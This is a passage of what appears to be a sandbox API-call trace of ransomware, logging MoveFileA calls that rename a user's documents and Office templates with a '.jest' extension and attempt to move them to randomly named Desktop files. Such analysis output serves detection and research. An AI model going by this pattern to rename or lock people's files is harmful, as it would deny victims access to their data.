halpmcxz\\desktop\\i05z2vp3zysoxzbwwag8esmmh6e60yym6itojujsxwht8zwswsodaorubx2gpoohrie1dxemu27qb5z6rfbc_hiosq3r7c8vxd.tmp")) returned 0 [0172.800] GetLastError () returned 0x2 [0172.801] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\zVAGE7.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\zvage7.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\zVAGE7.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\zvage7.docx.jest")) returned 1 [0172.803] VarBstrFromR4 (in: fltIn=0x47945b2d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.35") returned 0x0 [0172.807] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\zVAGE7.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\zvage7.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T7hyuaC2fq r0JbXZ3XUjlyJ0uvfqWwj6gg26uc2O ri4i-92ctOBdJHX_FAwuy4i3FyFKPz0y6xPd47P0NSp77lqS95qb-dOKKw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t7hyuac2fq r0jbxz3xujlyj0uvfqwwj6gg26uc2o ri4i-92ctobdjhx_fawuy4i3fyfkpz0y6xpd47p0nsp77lqs95qb-dokkw.tmp")) returned 0 [0172.807] GetLastError () returned 0x2 [0172.815] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\SFdxlqMy8rKvb8Ak.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sfdxlqmy8rkvb8ak.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\SFdxlqMy8rKvb8Ak.ppt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sfdxlqmy8rkvb8ak.ppt.jest")) returned 1 [0172.817] VarBstrFromR4 (in: fltIn=0x47945b2f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.37") returned 0x0 [0172.818] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\SFdxlqMy8rKvb8Ak.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sfdxlqmy8rkvb8ak.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wT-CtnK4kmQ_UVT5ExRcMzbeK9kyJmgagDZ0mHPk7tKxZnX-HKtf72A85n_bLlPDdyYz2fsr5-MYPsDXdyA8KfJpEET-VeBmFA Fg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wt-ctnk4kmq_uvt5exrcmzbek9kyjmgagdz0mhpk7tkxznx-hktf72a85n_bllpddyyz2fsr5-mypsdxdya8kfjpeet-vebmfa fg.tmp")) returned 0 [0172.819] GetLastError () returned 0x2 [0172.821] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\sx3GDAiYsy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sx3gdaiysy.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\sx3GDAiYsy.odp.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sx3gdaiysy.odp.jest")) returned 1 [0172.823] VarBstrFromR4 (in: fltIn=0x47945b2f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.37") returned 0x0 [0172.824] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\sx3GDAiYsy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\sx3gdaiysy.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U8JoMEMUPwfZFP4CblTQfQoess8CA2O5o4mpWAHAn 36-P8nH5BVoV0MuJekOJ7NJ N_dt5cW2PY-Dkbiy_NU2tABp9VphWUAO 0Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u8jomemupwfzfp4cbltqfqoess8ca2o5o4mpwahan 36-p8nh5bvov0mujekoj7nj n_dt5cw2py-dkbiy_nu2tabp9vphwuao 0q.tmp")) returned 0 [0172.828] GetLastError () returned 0x2 [0172.830] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\T1JUu32ej7f _UZ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\t1juu32ej7f _uz.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\T1JUu32ej7f _UZ.doc.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\t1juu32ej7f _uz.doc.jest")) returned 1 [0172.832] VarBstrFromR4 (in: fltIn=0x47945b31, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.38") returned 0x0 [0172.833] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\rNR2LYk46\\T1JUu32ej7f _UZ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\rnr2lyk46\\t1juu32ej7f _uz.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wJVyo_xrNDs1mpqY0JRTLlBwj3wO EXZkq0zu9jvfZ6cZXCFsgmcXDZI0H1gi8a8zxIa4-kLYypvC2wJ uLbj nO8qcDBYsWw2ip.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wjvyo_xrnds1mpqy0jrtllbwj3wo exzkq0zu9jvfz6czxcfsgmcxdzi0h1gi8a8zxia4-klyypvc2wj ulbj no8qcdbysww2ip.tmp")) returned 0 [0172.833] GetLastError () returned 0x2 [0172.835] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SguZBfVJg 3__kPOuOC4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sguzbfvjg 3__kpouoc4.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SguZBfVJg 3__kPOuOC4.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sguzbfvjg 3__kpouoc4.xlsx.jest")) returned 1 [0172.837] VarBstrFromR4 (in: fltIn=0x47945b31, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.38") returned 0x0 [0172.838] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SguZBfVJg 3__kPOuOC4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sguzbfvjg 3__kpouoc4.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-iWa oe34YVsDX8bXyfyAKmg0BlHztC0GS-jORRQS1Ln80JShI92iB88v66 NC-Lr2MVQS_OrDdZOoibjX4PYpjaD8jWUy4ETpi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-iwa oe34yvsdx8bxyfyakmg0blhztc0gs-jorrqs1ln80jshi92ib88v66 nc-lr2mvqs_orddzooibjx4pypjad8jwuy4etpi.tmp")) returned 0 [0172.838] GetLastError () returned 0x2 [0172.851] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhQDccMNz7CQKauzDZT.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hhqdccmnz7cqkauzdzt.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhQDccMNz7CQKauzDZT.xls.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hhqdccmnz7cqkauzdzt.xls.jest")) returned 1 [0172.855] VarBstrFromR4 (in: fltIn=0x47945b33, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.4") returned 0x0 [0172.856] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhQDccMNz7CQKauzDZT.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hhqdccmnz7cqkauzdzt.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8WUI4ceTiEBMLrLWk-6gW5PYV5Q1FReKdJqq3-pKwogqH0rFBycAEmDFT18HYCJQsuRftP4qTjmN2WgwQnM80Qucbx- e3CYWq va.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8wui4cetiebmlrlwk-6gw5pyv5q1frekdjqq3-pkwogqh0rfbycaemdft18hycjqsurftp4qtjmn2wgwqnm80qucbx- e3cywq va.tmp")) returned 0 [0172.856] GetLastError () returned 0x2 [0172.888] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qGQ5GNlsg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qgq5gnlsg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qGQ5GNlsg.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qgq5gnlsg.docx.jest")) returned 1 [0172.901] VarBstrFromR4 (in: fltIn=0x47945b39, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.45") returned 0x0 [0172.902] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qGQ5GNlsg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qgq5gnlsg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wein6yfeyJeFq Qyq cXeg2B95FN8oyED7MTrM7aOxJ_5uJj5gCIWRtOghr-vCxJB6jg8bqPFyzkdx-JSXPnVwRxmyjk5Ktu3h7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wein6yfeyjefq qyq cxeg2b95fn8oyed7mtrm7aoxj_5ujj5gciwrtoghr-vcxjb6jg8bqpfyzkdx-jsxpnvwrxmyjk5ktu3h7.tmp")) returned 0 [0172.903] GetLastError () returned 0x2 [0172.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt.jest")) returned 1 [0172.910] VarBstrFromR4 (in: fltIn=0x47945b3b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.46") returned 0x0 [0172.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nAEgqVdkdubYqf-6uO_QQqxAOCgE5H84nur6Z2tfg_4dhdCTWL12Vc1BfGkrPfM-Z79DcE4YiWPuEDLA84GRc _dgiEBkjpgKt0i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\naegqvdkdubyqf-6uo_qqqxaocge5h84nur6z2tfg_4dhdctwl12vc1bfgkrpfm-z79dce4yiwpuedla84grc _dgiebkjpgkt0i.tmp")) returned 0 [0172.911] GetLastError () returned 0x2 [0172.918] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MPW1TVR.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw1tvr.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MPW1TVR.odt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw1tvr.odt.jest")) returned 1 [0172.920] VarBstrFromR4 (in: fltIn=0x47945b3d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.48") returned 0x0 [0172.921] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MPW1TVR.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw1tvr.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PRJdAXMX3t9YfWELMc l5Vmz08fQuFy5ViAialeYqC2LcJHXHUQ0 E u-GJNwOXzK vud _0cTHdu50Ndf38mh3VWRXVsMQgRLaW9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\prjdaxmx3t9yfwelmc l5vmz08fqufy5viaialeyqc2lcjhxhuq0 e u-gjnwoxzk vud _0cthdu50ndf38mh3vwrxvsmqgrlaw9.tmp")) returned 0 [0172.922] GetLastError () returned 0x2 [0172.926] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wTHmeCpy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wthmecpy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wTHmeCpy.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wthmecpy.xlsx.jest")) returned 1 [0172.928] VarBstrFromR4 (in: fltIn=0x47945b3d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.48") returned 0x0 [0172.929] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wTHmeCpy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wthmecpy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lhex9m6DfeoH05FoINrRSWhQpytRRE77rF8GlZJrBnCs4KNSihRbMtZtKOOw-yp44FmoQ4KJWtuVcpwYYBLxAHyQwz4kVYkw8x0GI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lhex9m6dfeoh05foinrrswhqpytrre77rf8glzjrbncs4knsihrbmtztkoow-yp44fmoq4kjwtuvcpwyyblxahyqwz4kvykw8x0gi.tmp")) returned 0 [0172.930] GetLastError () returned 0x2 [0172.944] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4kwtk.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4kwtk.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4kwtk.pdf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4kwtk.pdf.jest")) returned 1 [0172.947] VarBstrFromR4 (in: fltIn=0x47945b3f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.49") returned 0x0 [0172.948] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4kwtk.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4kwtk.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Srh7uPTJ0tEEU HZ7l-cMJqDc4jm7RsZbm7rtTJlqgOzZGLXHfX6RPyiDPWm6BusUwTzSviJFUxdwqWBB3RlTWoG_pCwd2UJa5g .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\srh7uptj0teeu hz7l-cmjqdc4jm7rszbm7rttjlqgozzglxhfx6rpyidpwm6busuwtzsvijfuxdwqwbb3rltwog_pcwd2uja5g .tmp")) returned 0 [0172.948] GetLastError () returned 0x2 [0172.951] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt.jest")) returned 1 [0172.953] VarBstrFromR4 (in: fltIn=0x47945b41, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.51") returned 0x0 [0172.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9kc70T2g_8UAR8qgMkt oCqkoYO3Rk-0CUVNSmDERLssmeCZ16VSeU1z0TCn96aYxwibciC80xi9jiRFqC_XSQ3jDGMS6drCsOu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9kc70t2g_8uar8qgmkt ocqkoyo3rk-0cuvnsmderlssmecz16vseu1z0tcn96ayxwibcic80xi9jirfqc_xsq3jdgms6drcsou.tmp")) returned 0 [0172.954] GetLastError () returned 0x2 [0172.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt.jest")) returned 1 [0172.960] VarBstrFromR4 (in: fltIn=0x47945b41, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.51") returned 0x0 [0172.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\URebw6JSuen6HGj9CWus6RxccJWrbORp54-xhnM3zYqGZUovTx7WvE9IeURBOi4VkiIvPInZbsnNEAfkloxtv6TrZalNKzb910qUw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\urebw6jsuen6hgj9cwus6rxccjwrborp54-xhnm3zyqgzuovtx7wve9ieurboi4vkiivpinzbsnneafkloxtv6trzalnkzb910quw.tmp")) returned 0 [0172.962] GetLastError () returned 0x2 [0172.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt.jest")) returned 1 [0172.964] VarBstrFromR4 (in: fltIn=0x47945b41, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.51") returned 0x0 [0172.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vJMNkf4rShTuk9DR4srYTDBXqVPjVMlRJo8neRZP4R4Buhe8IVmFkCP0TZF6sj6oI TbTbRtkbzqD3foS9Rn4lfaPP57GKq ft6v2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vjmnkf4rshtuk9dr4srytdbxqvpjvmlrjo8nerzp4r4buhe8ivmfkcp0tzf6sj6oi tbtbrtkbzqd3fos9rn4lfapp57gkq ft6v2.tmp")) returned 0 [0172.965] GetLastError () returned 0x2 [0172.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt.jest")) returned 1 [0172.968] VarBstrFromR4 (in: fltIn=0x47945b43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.52") returned 0x0 [0172.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KQISzWlhFOMOeKGvM_dgTsckWtvL_FoPE-EvaqcRRzGtpKHh1MfFmWGjGp-E11fxsOcGGrCvU 6uT3FK ZRbowXNJD1G4xXRk2Zby.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kqiszwlhfomoekgvm_dgtsckwtvl_fope-evaqcrrzgtpkhh1mffmwgjgp-e11fxsocggrcvu 6ut3fk zrbowxnjd1g4xxrk2zby.tmp")) returned 0 [0172.969] GetLastError () returned 0x2 [0172.970] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1l_QqamuQ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1l_qqamuq.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1l_QqamuQ.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1l_qqamuq.ods.jest")) returned 1 [0172.972] VarBstrFromR4 (in: fltIn=0x47945b43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.52") returned 0x0 [0172.973] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1l_QqamuQ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1l_qqamuq.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mXFdQVeOFFYqLaHbNmffIlklBGQ8ZwCeN-ZQmkJteAIk60wOsSUrurqNvSz-ZWc_FMjzbmBAy3veBw3lljipQHsLBt1SOX6emVN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mxfdqveoffyqlahbnmffilklbgq8zwcen-zqmkjteaik60wossururqnvsz-zwc_fmjzbmbay3vebw3lljipqhslbt1sox6emvn.tmp")) returned 0 [0172.973] GetLastError () returned 0x2 [0172.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt.jest")) returned 1 [0172.975] VarBstrFromR4 (in: fltIn=0x47945b43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.52") returned 0x0 [0172.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eC_KZ-3WqvRaRGOIDdg9OuREJqMxdME43yOL uU4ahD5B9qyTfm88EGc3LJxGxcxODqWMfbWWBffAZwvCq3-mGmr-3zg32KV6t26c.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ec_kz-3wqvrargoiddg9ourejqmxdme43yol uu4ahd5b9qytfm88egc3ljxgxcxodqwmfbwwbffazwvcq3-mgmr-3zg32kv6t26c.tmp")) returned 0 [0172.977] GetLastError () returned 0x2 [0172.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt.jest")) returned 1 [0172.980] VarBstrFromR4 (in: fltIn=0x47945b43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.52") returned 0x0 [0172.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TSqcebGt_ILxd6uIUzE5jFSQsSlSTPVeeC iEfjiWeFyX9heWg5vcuhwMJ2KWj5svRhrFzEnD92Q6sgh-8_TEYCBctsHXoIdip6S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tsqcebgt_ilxd6uiuze5jfsqsslstpveec iefjiwefyx9hewg5vcuhwmj2kwj5svrhrfzend92q6sgh-8_teycbctshxoidip6s.tmp")) returned 0 [0172.981] GetLastError () returned 0x2 [0172.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt.jest")) returned 1 [0172.983] VarBstrFromR4 (in: fltIn=0x47945b45, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.54") returned 0x0 [0172.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PD_1fvjJGIiLlUg0NqWdo4uD8VY4-D6Cw7shaIw-33fe7bwDy47HPSdt8UFhNr8SeJ5KYwSGZiGGMh9jWOGtqxk42lfNjOyZO3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pd_1fvjjgiillug0nqwdo4ud8vy4-d6cw7shaiw-33fe7bwdy47hpsdt8ufhnr8sej5kywsgziggmh9jwogtqxk42lfnjoyzo3.tmp")) returned 0 [0172.985] GetLastError () returned 0x2 [0172.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt.jest")) returned 1 [0172.994] VarBstrFromR4 (in: fltIn=0x47945b45, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.54") returned 0x0 [0172.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8bw110Jqq3G1VTdYI_XhqPZndz_48IW-sFdWZiGXYK2MvUD5EugfgYH1VGgWkhL8n_cobg89r2f-w7XcF9cIbtkM4t0mkHSBQuzo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8bw110jqq3g1vtdyi_xhqpzndz_48iw-sfdwzigxyk2mvud5eugfgyh1vggwkhl8n_cobg89r2f-w7xcf9cibtkm4t0mkhsbquzo.tmp")) returned 0 [0172.995] GetLastError () returned 0x2 